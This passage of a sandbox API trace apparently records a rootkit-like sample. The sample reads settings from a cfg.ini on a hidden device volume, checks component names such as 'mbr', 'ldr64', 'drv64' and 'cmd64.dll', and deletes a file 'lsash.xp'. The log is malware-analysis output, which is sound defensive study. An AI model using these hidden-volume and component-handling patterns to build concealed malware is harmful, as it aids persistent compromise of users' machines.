returned 16 [0119.329] KeEnterCriticalRegion () [0119.329] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.329] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.329] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.329] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.329] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.329] IdePortDispatch () returned 0x103 [0119.329] KeWaitForMutexObject () returned 0x0 [0119.329] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.329] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.329] KeLeaveCriticalRegion () [0119.329] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.329] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.330] KeEnterCriticalRegion () [0119.330] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.330] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd4000 [0119.330] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.330] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.330] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.330] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.330] IdePortDispatch () returned 0x103 [0119.330] KeWaitForMutexObject () returned 0x0 [0119.331] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.331] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.331] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.331] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.331] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.331] IdePortDispatch () returned 0x103 [0119.331] KeWaitForMutexObject () returned 0x0 [0119.331] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.331] KeLeaveCriticalRegion () [0119.331] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.332] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.332] KeEnterCriticalRegion () [0119.332] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.332] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.332] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.332] KeLeaveCriticalRegion () [0119.332] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.332] KeEnterCriticalRegion () [0119.332] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.332] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.332] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.332] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.332] KeLeaveCriticalRegion () [0119.332] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.332] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.332] KeEnterCriticalRegion () [0119.332] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.332] ExFreePoolWithTag (P=0xfffffa8003bcb0b0, Tag=0x0) [0119.332] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.332] KeLeaveCriticalRegion () [0119.332] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.332] ReleaseMutex (hMutex=0xf0) returned 1 [0119.332] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.338] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.338] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.338] KeEnterCriticalRegion () [0119.338] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.338] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.338] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.338] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.338] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.338] IdePortDispatch () returned 0x103 [0119.338] KeWaitForMutexObject () returned 0x0 [0119.338] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.338] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.338] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.338] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.338] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.338] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa8590 [0119.338] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.338] KeLeaveCriticalRegion () [0119.338] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.338] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.338] KeEnterCriticalRegion () [0119.338] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.338] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.339] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.339] KeLeaveCriticalRegion () [0119.339] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.339] KeEnterCriticalRegion () [0119.339] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.339] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.339] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.339] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.339] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.339] IdePortDispatch () returned 0x103 [0119.339] KeWaitForMutexObject () returned 0x0 [0119.339] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.339] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.339] KeLeaveCriticalRegion () [0119.339] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.339] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.339] KeEnterCriticalRegion () [0119.339] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.339] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cf7000 [0119.339] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.339] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.339] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.339] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.339] IdePortDispatch () returned 0x103 [0119.339] KeWaitForMutexObject () returned 0x0 [0119.339] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.339] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.339] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.339] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.339] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.339] IdePortDispatch () returned 0x103 [0119.340] KeWaitForMutexObject () returned 0x0 [0119.340] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.340] KeLeaveCriticalRegion () [0119.340] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.340] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.340] KeEnterCriticalRegion () [0119.340] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.340] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.340] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.340] KeLeaveCriticalRegion () [0119.340] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.340] KeEnterCriticalRegion () [0119.340] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.340] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.340] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.340] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.340] KeLeaveCriticalRegion () [0119.340] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.340] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.340] KeEnterCriticalRegion () [0119.340] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.340] ExFreePoolWithTag (P=0xfffffa8003aa8590, Tag=0x0) [0119.340] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.340] KeLeaveCriticalRegion () [0119.341] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.341] ReleaseMutex (hMutex=0xf0) returned 1 [0119.341] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.341] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.341] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.341] KeEnterCriticalRegion () [0119.341] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.341] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.341] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.341] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.341] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.341] IdePortDispatch () returned 0x103 [0119.341] KeWaitForMutexObject () returned 0x0 [0119.341] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.341] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.341] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.341] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.341] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.341] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcb510 [0119.341] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.341] KeLeaveCriticalRegion () [0119.341] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.341] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.341] KeEnterCriticalRegion () [0119.341] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.341] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.341] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.341] KeLeaveCriticalRegion () [0119.341] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.341] KeEnterCriticalRegion () [0119.341] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.341] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.341] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.341] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.341] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.341] IdePortDispatch () returned 0x103 [0119.342] KeWaitForMutexObject () returned 0x0 [0119.342] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.342] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.342] KeLeaveCriticalRegion () [0119.342] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.342] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.342] KeEnterCriticalRegion () [0119.342] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.342] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cf8000 [0119.342] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.342] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.342] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.342] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.342] IdePortDispatch () returned 0x103 [0119.342] KeWaitForMutexObject () returned 0x0 [0119.342] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.342] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.342] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.342] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.342] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.342] IdePortDispatch () returned 0x103 [0119.342] KeWaitForMutexObject () returned 0x0 [0119.342] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.342] KeLeaveCriticalRegion () [0119.342] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.343] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.343] KeEnterCriticalRegion () [0119.343] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.343] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.343] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.343] KeLeaveCriticalRegion () [0119.343] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.343] KeEnterCriticalRegion () [0119.343] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.343] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.343] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.343] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.343] KeLeaveCriticalRegion () [0119.343] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.343] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.343] KeEnterCriticalRegion () [0119.343] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.343] ExFreePoolWithTag (P=0xfffffa8003bcb510, Tag=0x0) [0119.343] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.343] KeLeaveCriticalRegion () [0119.343] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.343] ReleaseMutex (hMutex=0xf0) returned 1 [0119.343] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.343] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.343] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.343] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.343] KeEnterCriticalRegion () [0119.344] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.344] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.344] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.344] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.344] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.344] IdePortDispatch () returned 0x103 [0119.344] KeWaitForMutexObject () returned 0x0 [0119.344] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.344] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.344] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.344] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.344] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.344] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.344] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.344] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.344] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.344] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.344] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.344] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.344] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.344] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.344] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.344] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.344] KeLeaveCriticalRegion () [0119.344] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.344] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.344] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.344] KeEnterCriticalRegion () [0119.344] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.344] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.344] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.344] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.344] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.344] IdePortDispatch () returned 0x103 [0119.344] KeWaitForMutexObject () returned 0x0 [0119.345] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.345] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.345] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.345] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.345] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.345] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.345] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.345] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.345] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.345] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.345] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.345] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.345] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.345] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.345] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.345] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.345] KeLeaveCriticalRegion () [0119.345] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.345] 